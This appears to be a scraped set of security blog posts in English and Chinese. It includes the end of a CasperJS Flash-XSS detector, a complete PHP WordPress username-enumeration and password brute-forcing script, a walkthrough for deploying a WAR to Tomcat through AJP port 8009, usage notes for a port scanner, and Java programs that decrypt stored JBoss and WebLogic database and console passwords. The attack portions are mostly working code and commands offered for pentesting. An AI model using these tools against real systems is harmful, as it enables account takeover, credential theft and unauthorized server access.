this.echo('{"type": "alert", "msg":"' + message + '"}');
});

// catch page error info
casper.on('page.error', function(message, trace) {
this.echo('{"type": "error", "msg":"' + message + '"}');
});

var url = casper.cli.get(0);

casper.thenOpen(url, function() {
this.wait(2000, function(){}) // delay 2's
});

casper.run();

The code is simple, to access flash file using CapserJS, and capture the error messages and alert event. Please note that some Flash wont execute JS immediately after loaded, so normally we need to wait for 2 seconds.

0×03 Execution results

We load the flash file mentioned earlier using the code above and here are the results:

piaca at piaca in ~/source$ casperjs --engine=slimerjs flash_detect.js "http://test.com/xss.swf?alert=1"
{"type": "alert", "msg":"1"}

piaca at piaca in ~/source$ casperjs --engine=slimerjs flash_detect.js "http://test.com/xss.swf?alert=1\\\""
{"type": "error", "msg":"SyntaxError: missing ) after argument list"}

0×04 End note

We can automate the entire process by using a crawler to download all the flash files from the target website then test them in batch with this method, the results were good.

Although the current approach is good enough, to use it in a production environment, we still got some problems to solve:

Efficiency: Currently it’s single process single thread, SlimerJS also opens a GUI window which may slow down the process.

False positives: In this demo we didnt handle all the error messages, in the real environment there may be a lot of false positives.

Parameters: The parameters here are only what we saw, but how to get all the parameter names in a flash file?

One serious problem:
This script can only detect some simple XSS, if there are some filtering in the flash it may not work.

If you have any ideas please comment below. Thx

Translated by Anthr@X

关于QQ群大数据可视化查询

最新地址:

https://qqgroup.insight-labs.org

WordPress BruteForce Tool

Author: secdragon

I think in some pentesting situations someone who encountered latest version of wordpress and no more installed plugins that we could exploit, at the moment the other way we can try to brute-force approach.

In fact, We can enumerate username from /?author=, then try to guess the same username and password of accounts, If we don’t successful get results by brute-force and then continue to brute-force which is involve pass.txt under the directory, default is enumerated 10 users, you can modify by yourself.

Usage:
php wordpress.php http://www.test.com

<!--?php <br ?-->
set_time_limit(0);
$domain = $argv[1];

//enumerate username
for ($i=1; $i <= 10; $i++) {

    $url = $domain."/?author=".$i;
    $response = httprequest($url,0);
    if ($response == 404) {
        continue;
    }
    $pattern = "/author\/(.*)\/feed/";
    preg_match($pattern, $response, $name);
    $namearray[] = $name[1];
}

echo "totally got".count($namearray)."users\n";

echo "attempting same username&password:\n";

$crackname = crackpassword($namearray,"same");

$passwords = file("pass.txt");

echo "attempting weak password:\n";

if ($crackname) {
    $namearray = array_diff($namearray,$crackname);
}

crackpassword($namearray,$passwords);

function crackpassword($namearray,$passwords){
    global $domain;
    $crackname = "";
    foreach ($namearray as $name) {
        $url = $domain."/wp-login.php";
        if ($passwords == "same") {
            $post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
            $pos = strpos(httprequest($url,$post),'div id="login_error"');
            if ($pos === false) {
                echo "$name $name"."\n";
                $crackname[] = $name;
            }
        }else{
            foreach ($passwords as $pass) {
                $post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
                $pos = strpos(httprequest($url,$post),'div id="login_error"');
                if ($pos === false) {
                    echo "$name $pass"."\n";
                }
            }
        }
    }
    return $crackname;
}

function httprequest($url,$post){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$url");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);

    if($post){
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }

    $output = curl_exec($ch);
    $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($httpcode == 404) {
        return 404;
    }else{
        return $output;
    }
}
?>

Translated by Hip

How can I exploit on Tomcat with AJP protocol

Author:Mickey

Basically when we installed Tomcat that we saw installation wizard below screenshot, We usually deployed a WAR to tomcat almost used default port 8080, even though when port 8080 was blocked by firewall, do we still exploit?
In fact, the answers are definitely that we can explit via port 8009 of the AJP connector port, I will explain in detail below that we can deploy this WAR file.

图片1

My experimental environment:
192.168.0.102   Tomcat 7 virtual host, FW blocks port 8080
192.168.0.103   BT 5 for pentesting

First, we used nmap to portscan and our tests show that port 8009 was open on图片2
Apache is default installion on Backtrack 5, we just need to install mod-jk
root@mickey:~# apt-get install libapache2-mod-jk

My jk.conf of the configuration:

root@mickey:/etc/apache2/mods-available# cat jk.conf

# Update this path to match your conf directory location

JkWorkersFile /etc/apache2/jk_workers.properties

# Where to put jk logs

# Update this path to match your logs directory location

JkLogFile /var/log/apache2/mod_jk.log

# Set the jk log level [debug/error/info]

JkLogLevel info

# Select the log format

JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"

# JkOptions indicate to send SSL KEY SIZE,

JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories

# JkRequestLogFormat set the request format

JkRequestLogFormat "%w %V %T"

# Shm log file

JkShmFile /var/log/apache2/jk-runtime-status

Create a link with ln command to /etc/apache2/mods-enabled/:

ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf

Configure jk_workers.properties as below:

root@mickey:/etc/apache2# cat jk_workers.properties

worker.list=ajp13

# Set properties for worker named ajp13 to use ajp13 protocol,

# and run on port 8009

worker.ajp13.type=ajp13

worker.ajp13.host=192.168.0.102 <\---|Here is target ip address

worker.ajp13.port=8009

worker.ajp13.lbfactor=50

worker.ajp13.cachesize=10

worker.ajp13.cache_timeout=600

worker.ajp13.socket_keepalive=1

worker.ajp13.socket_timeout=300

Default websites configuration:(as configure in /etc/apache2/sites-enabled/000-default )图片3

Restart apache:

sudo a2enmod proxy_ajp
sudo a2enmod proxy_http
sudo /etc/init.d/apache2 restart

We have configured mod_jk of the module, then access on 192.168.0.103 port 80 that will redirect to 192.168.0.102 port 8009,  Now, we can deploy WAR file.

图片4

Translated by Hip

BSides Toronto 2013

bsides

I appreciate to announce this information, Our member (Kevin) of Insight-labs who will present in Toronto at BSides Conference on Oct 5,2013.

The topic is RF-Ninja-Hacking, If you guys interesting in this field or speaker, welcome to join this presentation or online video.

BSides Toronto Conference 2013:
http://www.bsidesto.ca/

警惕IPSec/L2TP VPN被GFW干扰后变明文

昨天拿服务器搭了个ipsec/l2tp的vpn给朋友翻墙,朋友说连上之后只要一上国外网站,facebook,youtube之类的就会断线,我觉得很不可思议,明明都是加密了的,这不科学。

后来把debug打开,tail -f /var/log/secure,tail -f /var/log/message,一般情况下,连ipsec l2tp vpn,secure log会显出现IKEv2握手的日志,最后会出现transport xxx established,说明ipsec通道建立完成,然后message log才开始出现ppp登录记录,但是每次我朋友拨vpn的时候,根本看不到secure log里有任何动静,上来就是ppp登录。

后来用nc发udp包做测试,正常情况下,用nc发送任意内容的udp包到udp 500端口,可以看到secure日志里提示数据包畸形(malformed xxxx),但是朋友用nc测试,也没有任何提示,说明udp包在500端口被drop了。
最诡异的一点是windows这时候居然还能建立成功vpn,即使打开了 需要加密(如果服务器拒绝将断开连接) 这个选项,还是可以建立成功vpn通道,只不过这个时候是明文的,而且gfw可以重建通道内的数据包进行审查。
如果打开强制使用最大程度加密的选项,vpn则会建立失败。但是在没有被封锁的地区是可以连上的。

GFW以前是不管ipsec vpn的……
鉴于vpn对大家有着比翻墙更重要的用途,使用l2tp vpn的时候记得打开强制使用最大程度加密的选项,否则很容易在被gfw干扰的情况下变成明文vpn。

InsightScan:Python多线程Ping/端口扫描 + 端口服务探测+HTTP服务/APP 探测,可生成Hydra用的IP列表

现成的工具没一个好用的,包括metasploit自带的模块。

功能:
支持CIDR格式输入IP地址段
支持任意线程扫描
支持自定义端口列表或端口段
端口服务指纹识别
检测常见网络管理web应用
自动在http服务端口上抓页面
扫描结果根据端口号排序或者生成服务ip列表,方便测试弱密码。

使用说明:
Usage: InsightScan.py <hosts[/24|/CIDR]> [start port] [end port] -t threads

Example: InsightScan.py 192.168.0.0/24 1 1024 -t 20
Options:
-h, –help show this help message and exit
-t NUM, –threads=NUM
Maximum threads, default 50
-T TIMEOUT, –timeout=TIMEOUT
Scan timeout, per thread
-p PORTS, –portlist=PORTS
Customize port list, separate with ‘,’ example:
21,22,23,25 …
-N, –noping Skip ping sweep, port scan whether targets are alive
or not
-P, –pingonly Ping scan only,disable port scan
-S, –service Service detection, using banner and signature
-d, –downpage Detects interesting stuff on HTTP ports(80,80,8080),
when used with -S , will try all ports with HTTP
service. Grab and save to HTML pages if found
anything.
-l, –genlist Output a list, ordered by port number(service, with -S
option),for THC-Hydra IP list
-L, –genfile Put the IP list in separate files named by port
number(service, with -S option). Implies -l option.
Example: IPs with port 445 opened will be put into
445.txt

中文说明:
-t 最大扫描线程数,默认50
-T 扫描端口的超时时间,默认每个端口等待2秒
-p 自定义端口列表,用逗号分隔,例如 -p 21,23,25,80 也可以只设定一个端口, -p 445
默认端口列表为21,22,23,25,80,81,110,135,139,389,443,445,873,1433,1434,1521,2433,3306,3307,3389,5800,5900,8080,22222,22022,27017,28017
-N 不ping直接扫描,相当于nmap的 -Pn选项,会比较慢
-P 不扫描端口,只进行ping扫描 判断存活主机
-S 在每个打开的端口上进行服务探测,不要以为把ssh或者rdp换个端口就万事大吉了哦。服务指纹包括了大部分有利用价值的服务。
-d 在 80,81,8080端口检测 HTTP服务器,并且扫描一些常见web应用,比如:’phpinfo.php’,'phpmyadmin/’,'xmapp/’,'zabbix/’,'jmx-console/’,’.svn/entries’,'nagios/’,'index.action’,'login.action’
和-S 选项一起用的话,会在所有打开HTTP服务的端口进行检测
用途大家自己想……
如需添加,改源码里的URLS全局变量,目录名后面必须加’/’

检测到这些应用存在后会在输出提示并且把HTML抓下来保存到page.html文件里。

-l 把扫描结果按照端口号分类后输出,只有在完全扫描完成后才会输出,输出:

========Port 3306 ========
192.168.0.100

========Port 139 ========
192.168.0.100
192.168.0.13

========Port 3389 ========
192.168.0.100

========Port 80 ========
192.168.0.100
192.168.0.1

========Port 23 ========
192.168.0.1

========Port 443 ========
192.168.0.13

========Port 445 ========
192.168.0.100
192.168.0.13

和 -S 选项一起使用的话会按照服务名称进行排序,例如:

========ssh========
192.168.0.20:22
192.168.0.21:54321
192.168.0.21:52222

========msrdp=========
192.168.0.31:3389
192.168.0.32:33889
192.168.0.31:3390

…..

-L 按照不同端口号生成以端口号命名的txt文件,文件内容是打开该端口的IP列表,例如 在192.168.0.0/24 扫描22和445端口,
扫描结束后会在当前目录生成 22.txt和 445.txt,里面是这个ip段所有打开这两个端口的ip列表。生成的列表文件可以直接供THC-hydra的 -M 选项使用
和 -S 一起用的话,会输出类似 -l 一样的格式,ip:port形式,但是这种格式似乎不能直接给hydra用。

*****************************************************************************
未来功能:
针对特定服务,自动弱密码检测。
对http登录表单,401 登录认证进行自动弱密码检测。
对常见web应用漏洞,例如任意上传漏洞,web server管理后台上传漏洞,Struts执行任意指令漏洞进行自动检测
.
.
.

GitHub:
https://github.com/AnthraX1/InsightScan

下载地址

解密JBoss和Weblogic数据源连接字符串和控制台密码

现在越来越多的站喜欢用java语言的框架做web应用了,很多大型站点经常采用jboss或者weblogic做web服务器。出于安全原因,它们都提供把数据源连接密码以及web服务器后台密码加密的功能,jboss用的是blowfish,weblogic旧版的加密算法一般为3DES,新版的则都是AES。
这几种加密算法都是可逆的,因为在web服务器连接到数据库的时候还是要把密码解密成明文之后发过去或者和challenge运算的,所以我们有了两个突破口,第一个就是,解密后的明文密码必然保留在内存中,如果把web服务器的内存空间dump下来分析是肯定可以找到明文密码的,这个方法在前段时间hip发的memory forensic文章里有涉及到。第二个方法就是,调用服务器程序自身的解密函数,让它把明文echo出来。

JBoss

jboss的数据库连接密码一般存在%JBOSS_HOME%\server\%appname%\deploy 下面的各种xml里面,比如oracle的是oracle-ds.xml,mysql是mysql-ds.xml…… 在没有加密的情况下,密码是这么保存的:

<jndi-name>OracleDS</jndi-name>   //jndi名字
<use-java-context>false</use-java-context>
<connection-url>jdbc:oracle:thin:@localhost:1521:orcl</connection-url>  //URL地址
<driver-class>oracle.jdbc.driver.OracleDriver</driver-class>  //驱动
<user-name>root</user-name>    //用户名
<password>123456</password>  //密码

在配置完密码加密后,这个文件里要么没有username和password,要么被comment掉了。下面多了个EncryptDBPassword
加密后的密码存在jboss目录的conf/login-config.xml文件里:

<application-policy name="EncryptDBPassword">
          <authentication>
              <login-module code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
                  <module-option name="username">admin</module-option>
                  <module-option name="password">5dfc52b51bd35553df8592078de921bc</module-option>
                  <module-option name="managedConnectionFactoryName">jboss.jca:name=PostgresDS,service=LocalTxCM</module-option>
              </login-module>
          </authentication>
      </application-policy>

5dfc52b51bd35553df8592078de921bc就是加密后的密文了,有的时候前面还有个符号,也是密文的一部分。
jboss用来加密的key是明文硬编码在jboss源码里的,key是jaas is the way

解密过程:

找个能编译java的环境或者在线的java编译执行网站:编译以下代码:


/*
* JBoss.java - Blowfish encryption/decryption tool with JBoss default password
*    Daniel Martin Gomez <daniel @ ngssoftware.com> - 03/Sep/2009
*
* This file may be used under the terms of the GNU General Public License
* version 2.0 as published by the Free Software Foundation:
*   http://www.gnu.org/licenses/gpl-2.0.html
*/
import javax.crypto.*;
import javax.crypto.spec.SecretKeySpec;

import java.math.BigInteger;

public class JBoss
{

public static void main(String[] args) throws Exception
{

if ( ( args.length != 2 ) || !( args[0].equals("-e") | args[0].equals("-d") ) )
{
System.out.println( "Usage:\n\tjava JBoss <-e|-d> <encrypted_password>" );
return;
}

String mode = args[0];

byte[] kbytes = "jaas is the way".getBytes();
SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish");
Cipher cipher = Cipher.getInstance("Blowfish");

String out = null;

if ( mode.equals("-e") )
{
String secret = args[1];
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] encoding = cipher.doFinal(secret.getBytes());
out = new BigInteger(encoding).toString(16);
}
else
{
BigInteger secret = new BigInteger(args[1], 16);
cipher.init(Cipher.DECRYPT_MODE, key);
byte[] encoding = cipher.doFinal(secret.toByteArray());
out = new String(encoding);
}
System.out.println( out );
}
}

编译后执行,用 -d参数解密,比如 java JBoss -d 5dfc52b51bd35553df8592078de921bc
就会返回明文密码。

Weblogic

weblogic要稍微复杂一些,jboss的加密函数是java代码里面的,但是weblogic是自己写的,所以解密程序也需要调用weblogic的代码包。WebLogic 11gR1后采用了AES的加密方式,之前的版本采用的DES加密方式。另外,每个Weblogic app的加密key都是随机生成的,所以不同服务器甚至同服务器不同应用上的weblogic都是用不同的密码加密的,这一点上比jboss安全很多。但是,毕竟连数据库的时候还是要还原,所以还是可以解密的。解密过程如下:

加密key都保存在securitySerializedSystemIni.dat 文件中,比如

weblogic安装目录\user_projects\domains\APPNAME\securitySerializedSystemIni.dat

有些版本是放到security目录里的,一个应用里面只会有一个这个文件,find一下就找到了。

找到后把它复制到其他的文件夹,比如\tmp下面

在这个文件夹下新建一个java文件,Decrypt.java,名字不能错,必须和内容的class名字一样。

import java.io.PrintStream;
import weblogic.security.internal.*;
import weblogic.security.internal.encryption.*;

public class Decrypt
{
static EncryptionService es = null;
static ClearOrEncryptedService ces = null;
public static void main(String args[])
{
String s = null;
if(args.length == 0)
s = ServerAuthenticate.promptValue("Password: ", false);
else
if(args.length == 1)
s = args[0];
else
System.err.println("Usage: java Decrypt [ password ]");
es = SerializedSystemIni.getExistingEncryptionService();
if(es == null)
{
System.err.println("Unable to initialize encryption service");
return;
}
ces = new ClearOrEncryptedService(es);
if(s != null)
System.out.println("\nDecrypted Password is:"+ces.decrypt(s));
}
}

根据目标的操作系统,在weblogic目录中找到setWLSEnv.cmd 或者 setWLSEnv.sh 并且执行。执行后会出来一长串环境变量,分别是CLASSPATH和PATH。但是有些情况下这些环境变量没有加进去,所以还需要执行一下(linux下,windows一般不会出现这个情况) export $CLASSPATH

如果这个命令执行完也出来一串东西,那就说明环境变量设置正确,如果没有的话,则需要在shell里手动执行。把之前执行setWLSEnv.sh出来的两个环境变量分别复制然后 export一下就行。再执行以下export $CLASSPATH确认是否加上了。成功后就可以进行下一步了。

weblogic的数据库字符串一般存在weblogic下面应用目录的conf里面,也是xml格式,加密后的密码格式为

{AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=或者{3DES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=

到之前放Decrypt.java的目录执行 javac Decrypt.java 然后执行 java Decrypt 加密后密码,比如 java Decrypt {AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=

执行完后就会告诉你 Decrypted Password is : weblogic

weblogic的控制台密码也是用同样的方式加密的。